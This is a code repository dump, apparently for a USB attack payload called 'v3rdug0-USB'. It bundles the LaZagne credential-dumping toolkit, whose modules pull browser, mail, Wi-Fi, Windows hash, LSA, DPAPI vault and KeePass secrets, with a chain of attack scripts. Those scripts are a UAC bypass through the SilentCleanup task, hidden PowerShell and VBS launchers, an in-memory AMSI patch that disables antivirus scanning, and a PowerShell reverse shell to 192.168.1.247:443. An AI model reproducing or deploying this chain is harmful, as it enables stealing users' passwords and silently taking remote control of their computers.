├── Tools ├── Linux │ └── lazagne │ │ ├── __init__.py │ │ ├── config │ │ ├── __init__.py │ │ ├── lib │ │ │ ├── __init__.py │ │ │ └── memorpy │ │ │ │ ├── version.py │ │ │ │ ├── structures.py │ │ │ │ ├── Process.py │ │ │ │ ├── LinStructures.py │ │ │ │ ├── __init__.py │ │ │ │ ├── wintools.py │ │ │ │ ├── BaseProcess.py │ │ │ │ ├── Locator.py │ │ │ │ ├── utils.py │ │ │ │ └── Address.py │ │ ├── crypto │ │ │ ├── __init__.py │ │ │ ├── pbkdf2.py │ │ │ └── pyaes │ │ │ │ ├── __init__.py │ │ │ │ └── util.py │ │ ├── constant.py │ │ ├── module_info.py │ │ ├── run.py │ │ └── manage_modules.py │ │ └── softwares │ │ ├── __init__.py │ │ ├── git │ │ ├── __init__.py │ │ └── gitforlinux.py │ │ ├── mails │ │ ├── __init__.py │ │ └── thunderbird.py │ │ ├── memory │ │ └── __init__.py │ │ ├── browsers │ │ └── __init__.py │ │ ├── chats │ │ ├── __init__.py │ │ ├── psi.py │ │ └── pidgin.py │ │ ├── sysadmin │ │ ├── __init__.py │ │ ├── fstab.py │ │ ├── docker.py │ │ ├── aws.py │ │ ├── filezilla.py │ │ ├── apachedirectorystudio.py │ │ ├── grub.py │ │ ├── shadow.py │ │ └── ssh.py │ │ ├── wallet │ │ ├── __init__.py │ │ ├── kde.py │ │ └── libsecret.py │ │ ├── wifi │ │ ├── __init__.py │ │ ├── wifi.py │ │ └── wpa_supplicant.py │ │ └── databases │ │ ├── __init__.py │ │ ├── squirrel.py │ │ └── dbvis.py ├── Mac │ └── lazagne │ │ ├── __init__.py │ │ ├── config │ │ ├── __init__.py │ │ ├── crypto │ │ │ ├── __init__.py │ │ │ └── pyaes │ │ │ │ ├── __init__.py │ │ │ │ └── util.py │ │ ├── manage_modules.py │ │ ├── constant.py │ │ └── module_info.py │ │ └── softwares │ │ ├── __init__.py │ │ ├── mails │ │ ├── __init__.py │ │ └── thunderbird.py │ │ ├── system │ │ ├── __init__.py │ │ ├── chainbreaker_module │ │ │ ├── __init__.py │ │ │ └── pbkdf2.py │ │ └── system.py │ │ └── browsers │ │ └── __init__.py ├── Windows │ ├── lazagne │ │ ├── __init__.py │ │ ├── config │ │ │ ├── __init__.py │ │ │ ├── crypto │ │ │ │ ├── __init__.py │ │ │ │ ├── rc4.py │ │ │ │ └── pyaes │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── util.py │ │ │ ├── lib │ │ │ │ ├── __init__.py │ │ │ │ └── memorpy │ │ │ │ │ ├── version.py │ │ │ │ │ ├── structures.py │ │ │ │ │ ├── Process.py │ │ │ │ │ ├── LinStructures.py │ │ │ │ │ ├── __init__.py │ │ │ │ │ ├── wintools.py │ │ │ │ │ ├── BaseProcess.py │ │ │ │ │ ├── Locator.py │ │ │ │ │ └── utils.py │ │ │ ├── DPAPI │ │ │ │ ├── __init__.py │ │ │ │ └── system.py │ │ │ ├── module_info.py │ │ │ ├── constant.py │ │ │ └── users.py │ │ └── softwares │ │ │ ├── __init__.py │ │ │ ├── git │ │ │ ├── __init__.py │ │ │ └── gitforwindows.py │ │ │ ├── php │ │ │ ├── __init__.py │ │ │ └── composer.py │ │ │ ├── svn │ │ │ ├── __init__.py │ │ │ └── tortoise.py │ │ │ ├── wifi │ │ │ └── __init__.py │ │ │ ├── browsers │ │ │ ├── __init__.py │ │ │ └── ucbrowser.py │ │ │ ├── chats │ │ │ ├── __init__.py │ │ │ ├── pidgin.py │ │ │ └── psi.py │ │ │ ├── databases │ │ │ ├── __init__.py │ │ │ ├── squirrel.py │ │ │ ├── postgresql.py │ │ │ └── dbvis.py │ │ │ ├── games │ │ │ ├── __init__.py │ │ │ ├── kalypsomedia.py │ │ │ ├── roguestale.py │ │ │ ├── turba.py │ │ │ └── galconfusion.py │ │ │ ├── mails │ │ │ ├── __init__.py │ │ │ ├── thunderbird.py │ │ │ └── outlook.py │ │ │ ├── maven │ │ │ └── __init__.py │ │ │ ├── memory │ │ │ ├── __init__.py │ │ │ ├── keepass.py │ │ │ ├── libkeepass │ │ │ │ ├── crypto.py │ │ │ │ └── __init__.py │ │ │ └── onepassword.py │ │ │ ├── sysadmin │ │ │ ├── __init__.py │ │ │ ├── filezillaserver.py │ │ │ ├── wsl.py │ │ │ ├── ftpnavigator.py │ │ │ ├── puttycm.py │ │ │ ├── coreftp.py │ │ │ ├── filezilla.py │ │ │ ├── cyberduck.py │ │ │ ├── openvpn.py │ │ │ ├── apachedirectorystudio.py │ │ │ ├── iisapppool.py │ │ │ ├── unattended.py │ │ │ └── rdpmanager.py │ │ │ ├── windows │ │ │ ├── __init__.py │ │ │ ├── creddump7 │ │ │ │ ├── __init__.py │ │ │ │ ├── win32 │ │ │ │ │ ├── __init__.py │ │ │ │ │ └── rawreg.py │ │ │ │ └── types.py │ │ │ ├── hashdump.py │ │ │ ├── cachedump.py │ │ │ ├── credfiles.py │ │ │ ├── vaultfiles.py │ │ │ ├── lsa_secrets.py │ │ │ ├── credman.py │ │ │ ├── autologon.py │ │ │ ├── ppypykatz.py │ │ │ ├── vault.py │ │ │ └── windows.py │ │ │ └── multimedia │ │ │ └── __init__.py │ └── lazagne.spec ├── .gitignore ├── requirements.txt └── .travis.yml ├── Antivirus.bat ├── Get-WlanProfiles.psm1 ├── Scripts ├── ocult.vbs ├── Principal.bat ├── amsi.ps1 ├── ByUac.ps1 └── rev.ps1 └── README.md /Tools/Linux/lazagne/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/crypto/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/crypto/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/git/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/mails/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/memory/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/mails/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/system/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/crypto/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/git/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/php/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/svn/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/wifi/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/DPAPI/__init__.py: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/browsers/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/chats/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/databases/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/games/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/mails/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/maven/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/memory/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/sysadmin/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/multimedia/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/.gitignore: -------------------------------------------------------------------------------- 1 | .idea 2 | *.pyc 3 | venv 4 | .DS_Store 5 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/creddump7/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/system/chainbreaker_module/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/creddump7/win32/__init__.py: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/browsers/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/chats/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/sysadmin/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/wallet/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/wifi/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/browsers/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/databases/__init__.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | -------------------------------------------------------------------------------- /Antivirus.bat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EdgarMarcoss/v3rdug0-USB/HEAD/Antivirus.bat -------------------------------------------------------------------------------- /Get-WlanProfiles.psm1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EdgarMarcoss/v3rdug0-USB/HEAD/Get-WlanProfiles.psm1 -------------------------------------------------------------------------------- /Scripts/ocult.vbs: -------------------------------------------------------------------------------- 1 | CreateObject("Wscript.Shell").Run "Powershell -executionpolicy remotesigned -File amsi.ps1",0,True -------------------------------------------------------------------------------- /Scripts/Principal.bat: -------------------------------------------------------------------------------- 1 | powerSHeLl -NoPROf -NOLoGo -WInDoW HiDDEn -noNINteRaCTiV -C 2 | 3 | c: 4 | 5 | cd %userprofile%\appdata\local\temp 6 | 7 | ocult.vbs -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/version.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | version=(1,7) 5 | version_string="%s.%s"%version 6 | 7 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/version.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | version=(1,7) 5 | version_string="%s.%s"%version 6 | 7 | -------------------------------------------------------------------------------- /Scripts/amsi.ps1: -------------------------------------------------------------------------------- 1 | [Runtime.InteropServices.Marshal]::WriteByte((([Ref].Assembly.GetTypes()|?{$_-clike'*Am*ls'}).GetFields(40)|?{$_-clike'*xt'}).GetValue($null),5) 2 | .\rev.ps1 -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/structures.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | import sys 5 | if sys.platform=="win32": 6 | from .WinStructures import * 7 | else: 8 | from .LinStructures import * 9 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/structures.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | import sys 5 | if sys.platform=="win32": 6 | from .WinStructures import * 7 | else: 8 | from .LinStructures import * 9 | -------------------------------------------------------------------------------- /Scripts/ByUac.ps1: -------------------------------------------------------------------------------- 1 | New-ItemProperty "HKCU:\Environment" -Name "windir" -Value "cmd.exe /c start %userprofile%\appdata\local\temp\principal.bat REM" -PropertyType String -Force 2 | schtasks.exe /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I 3 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/softwares/mails/thunderbird.py: -------------------------------------------------------------------------------- 1 | from lazagne.config.module_info import ModuleInfo 2 | from lazagne.softwares.browsers.mozilla import Mozilla 3 | 4 | 5 | class Thunderbird(Mozilla): 6 | 7 | def __init__(self): 8 | self.path = '.thunderbird' 9 | ModuleInfo.__init__(self, 'Thunderbird', 'mails') 10 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/mails/thunderbird.py: -------------------------------------------------------------------------------- 1 | from lazagne.config.module_info import ModuleInfo 2 | from lazagne.softwares.browsers.mozilla import Mozilla 3 | 4 | 5 | class Thunderbird(Mozilla): 6 | 7 | def __init__(self): 8 | self.path = u'{APPDATA}\\Thunderbird' 9 | ModuleInfo.__init__(self, 'Thunderbird', 'mails') 10 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/mails/thunderbird.py: -------------------------------------------------------------------------------- 1 | from lazagne.config.module_info import ModuleInfo 2 | from lazagne.softwares.browsers.mozilla import Mozilla 3 | import os 4 | 5 | class Thunderbird(Mozilla): 6 | 7 | def __init__(self): 8 | self.path = u"~/Library/Thunderbird" 9 | ModuleInfo.__init__(self, 'Thunderbird', 'mails') 10 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/Process.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | import sys 5 | from .BaseProcess import * 6 | if sys.platform=='win32': 7 | from .WinProcess import WinProcess as Process 8 | elif sys.platform=='darwin': 9 | from .OSXProcess import OSXProcess as Process 10 | elif 'sunos' in sys.platform: 11 | from .SunProcess import SunProcess as Process 12 | else: 13 | from .LinProcess import LinProcess as Process 14 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/Process.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | import sys 5 | from .BaseProcess import * 6 | if sys.platform=='win32': 7 | from .WinProcess import WinProcess as Process 8 | elif sys.platform=='darwin': 9 | from .OSXProcess import OSXProcess as Process 10 | elif 'sunos' in sys.platform: 11 | from .SunProcess import SunProcess as Process 12 | else: 13 | from .LinProcess import LinProcess as Process 14 | -------------------------------------------------------------------------------- /Tools/requirements.txt: -------------------------------------------------------------------------------- 1 | psutil; sys_platform == 'linux' or sys_platform == 'linux2' 2 | secretstorage; sys_platform == 'linux' or sys_platform == 'linux2' 3 | pyasn1 4 | enum34; python_version < '3.4' and sys_platform == 'win32' 5 | rsa; sys_platform == 'win32' 6 | https://github.com/AlessandroZ/pypykatz/archive/master.zip; python_version < '3.4' and sys_platform == 'win32' 7 | https://github.com/skelsec/pypykatz/archive/master.zip; python_version > '3.5' and sys_platform == 'win32' 8 | pycryptodome 9 | -------------------------------------------------------------------------------- /Scripts/rev.ps1: -------------------------------------------------------------------------------- 1 | 2 | $client = New-Object System.Net.Sockets.TCPClient("192.168.1.247",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() -------------------------------------------------------------------------------- /Tools/Mac/lazagne/softwares/system/system.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # !/usr/bin/python 3 | 4 | from lazagne.config.module_info import ModuleInfo 5 | from lazagne.config.constant import constant 6 | 7 | 8 | class System(ModuleInfo): 9 | def __init__(self): 10 | ModuleInfo.__init__(self, 'system', 'system') 11 | 12 | def run(self): 13 | pwd_found = [] 14 | pwd_found += constant.keychains_pwd 15 | pwd_found += constant.system_pwd 16 | 17 | return pwd_found 18 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/lib/memorpy/LinStructures.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | PROT_NONE = 0 5 | PROT_READ = 1 6 | PROT_WRITE = 2 7 | PROT_EXEC = 4 8 | PROT_PRIVATE = 8 9 | PROT_SHARED = 16 10 | 11 | #Use some Windows constants for compatibility 12 | PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE 13 | PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ 14 | PAGE_READONLY = PROT_READ 15 | PAGE_READWRITE = PROT_READ | PROT_WRITE 16 | 17 | PTRACE_POKEDATA = 5 18 | PTRACE_ATTACH = 16 19 | PTRACE_DETACH =17 20 | PTRACE_CONT = 7 21 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/lib/memorpy/LinStructures.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: UTF8 -*- 3 | 4 | PROT_NONE = 0 5 | PROT_READ = 1 6 | PROT_WRITE = 2 7 | PROT_EXEC = 4 8 | PROT_PRIVATE = 8 9 | PROT_SHARED = 16 10 | 11 | #Use some Windows constants for compatibility 12 | PAGE_EXECUTE_READWRITE = PROT_EXEC | PROT_READ | PROT_WRITE 13 | PAGE_EXECUTE_READ = PROT_EXEC | PROT_READ 14 | PAGE_READONLY = PROT_READ 15 | PAGE_READWRITE = PROT_READ | PROT_WRITE 16 | 17 | PTRACE_POKEDATA = 5 18 | PTRACE_ATTACH = 16 19 | PTRACE_DETACH =17 20 | PTRACE_CONT = 7 21 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/hashdump.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from .creddump7.win32.hashdump import dump_file_hashes 3 | from lazagne.config.module_info import ModuleInfo 4 | from lazagne.config.constant import constant 5 | 6 | 7 | class Hashdump(ModuleInfo): 8 | def __init__(self): 9 | ModuleInfo.__init__(self, 'hashdump', 'windows', system_module=True) 10 | 11 | def run(self): 12 | hashdump = dump_file_hashes(constant.hives['system'], constant.hives['sam']) 13 | if hashdump: 14 | pwd_found = ['__Hashdump__', hashdump] 15 | return pwd_found 16 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/cachedump.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from .creddump7.win32.domcachedump import dump_file_hashes 3 | from lazagne.config.module_info import ModuleInfo 4 | from lazagne.config.winstructure import get_os_version 5 | from lazagne.config.constant import constant 6 | 7 | 8 | class Cachedump(ModuleInfo): 9 | def __init__(self): 10 | ModuleInfo.__init__(self, 'mscache', 'windows', system_module=True) 11 | 12 | def run(self): 13 | is_vista_or_higher = False 14 | if float(get_os_version()) >= 6.0: 15 | is_vista_or_higher = True 16 | 17 | mscache = dump_file_hashes(constant.hives['system'], constant.hives['security'], is_vista_or_higher) 18 | if mscache: 19 | return ['__MSCache__', mscache] 20 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python -*- 2 | import sys 3 | a = Analysis( 4 | ['laZagne.py'], 5 | pathex=[''], 6 | hiddenimports=[], 7 | hookspath=None, 8 | runtime_hooks=None 9 | ) 10 | 11 | for d in a.datas: 12 | if 'pyconfig' in d[0]: 13 | a.datas.remove(d) 14 | break 15 | 16 | pyz = PYZ(a.pure) 17 | exe = EXE( 18 | pyz, 19 | a.scripts, 20 | a.binaries + [('msvcp100.dll', 'C:\\Windows\\System32\\msvcp100.dll', 'BINARY'), 21 | ('msvcr100.dll', 'C:\\Windows\\System32\\msvcr100.dll', 'BINARY')] 22 | if sys.platform == 'win32' else a.binaries, 23 | a.zipfiles, 24 | a.datas, 25 | name='lazagne.exe', 26 | debug=False, 27 | strip=None, 28 | upx=True, 29 | console=True 30 | ) 31 | -------------------------------------------------------------------------------- /Tools/Linux/lazagne/config/constant.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- encoding: utf-8 -*- 3 | import time 4 | 5 | date = time.strftime("%d%m%Y_%H%M%S") 6 | 7 | 8 | class constant(): 9 | folder_name = 'results_{current_time}'.format(current_time=date) 10 | file_name_results = 'credentials' # The extension is added depending on the user output choice 11 | max_help = 27 12 | CURRENT_VERSION = '2.4.3' 13 | output = None 14 | file_logger = None 15 | verbose = False 16 | nb_password_found = 0 # Total password found 17 | password_found = [] 18 | stdout_result = [] # Tab containing all results by user 19 | finalResults = {} 20 | quiet_mode = False 21 | st = None # Standard output 22 | modules_dic = {} 23 | chrome_storage = [] # Retrieved from libsecrets module 24 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/browsers/ucbrowser.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | 4 | from lazagne.config.constant import constant 5 | from lazagne.config.module_info import ModuleInfo 6 | from lazagne.softwares.browsers.chromium_based import ChromiumBased 7 | 8 | 9 | class UCBrowser(ChromiumBased): 10 | def __init__(self): 11 | self.database_query = 'SELECT action_url, username_value, password_value FROM wow_logins' 12 | ModuleInfo.__init__(self, 'uc browser', 'browsers', winapi_used=True) 13 | 14 | def _get_database_dirs(self): 15 | data_dir = u'{LOCALAPPDATA}\\UCBrowser'.format(**constant.profile) 16 | try: 17 | # UC Browser seems to have random characters appended to the User Data dir so we'll list them all 18 | self.paths = [os.path.join(data_dir, d) for d in os.listdir(data_dir)] 19 | except Exception: 20 | self.paths = [] 21 | return ChromiumBased._get_database_dirs(self) 22 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/credfiles.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from lazagne.config.module_info import ModuleInfo 3 | from lazagne.config.constant import constant 4 | import os 5 | 6 | 7 | class CredFiles(ModuleInfo): 8 | def __init__(self): 9 | ModuleInfo.__init__(self, 'credfiles', 'windows', dpapi_used=True) 10 | 11 | def run(self): 12 | pwd_found = [] 13 | if constant.user_dpapi and constant.user_dpapi.unlocked: 14 | creds_directory = os.path.join(constant.profile['APPDATA'], u'Microsoft', u'Credentials') 15 | if os.path.exists(creds_directory): 16 | for cred_file in os.listdir(creds_directory): 17 | # decrypting creds files (Credman module not allow to retrieve domain password) 18 | cred = constant.user_dpapi.decrypt_cred(os.path.join(creds_directory, cred_file)) 19 | if cred: 20 | pwd_found.append(cred) 21 | 22 | return pwd_found 23 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/manage_modules.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # !/usr/bin/python 3 | 4 | # browsers 5 | from lazagne.softwares.browsers.mozilla import firefox_browsers 6 | from lazagne.softwares.browsers.chrome import Chrome 7 | 8 | # mails 9 | from lazagne.softwares.mails.thunderbird import Thunderbird 10 | 11 | # system 12 | from lazagne.softwares.system.hashdump import HashDump 13 | from lazagne.softwares.system.chainbreaker import ChainBreaker 14 | from lazagne.softwares.system.system import System 15 | 16 | 17 | def get_categories(): 18 | category = { 19 | 'browsers': {'help': 'Web browsers supported'}, 20 | 'mails': {'help': 'Email clients supported'}, 21 | 'system': {'help': 'System credentials'}, 22 | } 23 | return category 24 | 25 | 26 | def get_modules(): 27 | module_names = [ 28 | Thunderbird(), 29 | Chrome(), 30 | HashDump(), 31 | ChainBreaker(), 32 | System() 33 | ] 34 | return module_names + firefox_browsers 35 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/windows/vaultfiles.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from lazagne.config.module_info import ModuleInfo 3 | from lazagne.config.constant import constant 4 | import os 5 | 6 | 7 | class VaultFiles(ModuleInfo): 8 | def __init__(self): 9 | ModuleInfo.__init__(self, 'vaultfiles', 'windows', dpapi_used=True) 10 | 11 | def run(self): 12 | 13 | pwd_found = [] 14 | if constant.user_dpapi and constant.user_dpapi.unlocked: 15 | main_vault_directory = os.path.join(constant.profile['APPDATA'], u'..', u'Local', u'Microsoft', u'Vault') 16 | main_vault_directory = os.path.abspath(main_vault_directory) 17 | if os.path.exists(main_vault_directory): 18 | for vault_directory in os.listdir(main_vault_directory): 19 | cred = constant.user_dpapi.decrypt_vault(os.path.join(main_vault_directory, vault_directory)) 20 | if cred: 21 | pwd_found.append(cred) 22 | 23 | return pwd_found 24 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/chats/pidgin.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | from xml.etree.cElementTree import ElementTree 4 | 5 | from lazagne.config.constant import constant 6 | from lazagne.config.module_info import ModuleInfo 7 | 8 | 9 | class Pidgin(ModuleInfo): 10 | def __init__(self): 11 | ModuleInfo.__init__(self, 'pidgin', 'chats') 12 | 13 | def run(self): 14 | path = os.path.join(constant.profile['APPDATA'], u'.purple', u'accounts.xml') 15 | if os.path.exists(path): 16 | tree = ElementTree(file=path) 17 | root = tree.getroot() 18 | pwd_found = [] 19 | 20 | for account in root.findall('account'): 21 | name = account.find('name') 22 | password = account.find('password') 23 | if all((name, password)): 24 | pwd_found.append({ 25 | 'Login': name.text, 26 | 'Password': password.text 27 | }) 28 | return pwd_found 29 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/softwares/databases/squirrel.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | import os 3 | from xml.etree.cElementTree import ElementTree 4 | 5 | from lazagne.config.constant import constant 6 | from lazagne.config.module_info import ModuleInfo 7 | 8 | 9 | class Squirrel(ModuleInfo): 10 | def __init__(self): 11 | ModuleInfo.__init__(self, name='squirrel', category='databases') 12 | 13 | def run(self): 14 | path = os.path.join(constant.profile['USERPROFILE'], u'.squirrel-sql', u'SQLAliases23.xml') 15 | if os.path.exists(path): 16 | tree = ElementTree(file=path) 17 | pwd_found = [] 18 | elements = {'name': 'Name', 'url': 'URL', 'userName': 'Login', 'password': 'Password'} 19 | for elem in tree.iter('Bean'): 20 | values = {} 21 | for e in elem: 22 | if e.tag in elements: 23 | values[elements[e.tag]] = e.text 24 | if values: 25 | pwd_found.append(values) 26 | 27 | return pwd_found 28 | -------------------------------------------------------------------------------- /Tools/Mac/lazagne/config/constant.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # !/usr/bin/python 3 | 4 | import time 5 | 6 | date = time.strftime("%d%m%Y_%H%M%S") 7 | 8 | 9 | class constant(): 10 | folder_name = '.' 11 | file_name_results = 'credentials_{current_time}'.format(current_time=date) # extension added (txt, json) 12 | MAX_HELP_POSITION = 27 13 | CURRENT_VERSION = '2.4.3' 14 | output = None 15 | file_logger = None 16 | verbose = False 17 | nbPasswordFound = 0 # total password found 18 | passwordFound = [] 19 | keychains_pwd = [] # password of the keychain 20 | keychains_pwds = [] # passwords contained in the keychain 21 | system_pwd = [] 22 | finalResults = {} 23 | quiet_mode = False 24 | st = None # standard output 25 | dictionary_attack = False 26 | user_password = None 27 | user_keychain_find = False 28 | stdout_result = [] # Tab containing all results by user 29 | modules_dic = {} 30 | -------------------------------------------------------------------------------- /Tools/Windows/lazagne/config/DPAPI/system.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | Code based from these two awesome projects: 6 | - DPAPICK : https://bitbucket.org/jmichel/dpapick 7 | - DPAPILAB : https://github.com/dfirfpi/dpapilab 8 | """ 9 | 10 | from .eater import DataStruct 11 | 12 | 13 | class CredSystem(DataStruct): 14 | """ 15 | This represents the DPAPI_SYSTEM token which is stored as an LSA secret. 16 | 17 | Sets 2 properties: 18 | self.machine 19 | self.user 20 | """ 21 | 22 | def __init__(self, raw=None): 23 | self.revision = None 24 | self.machine = None 25 | self.user = None 26 | DataStruct.__init__(self, raw) 27 | 28 | def parse(self, data): 29 | """Parses the given data. May raise exceptions if incorrect 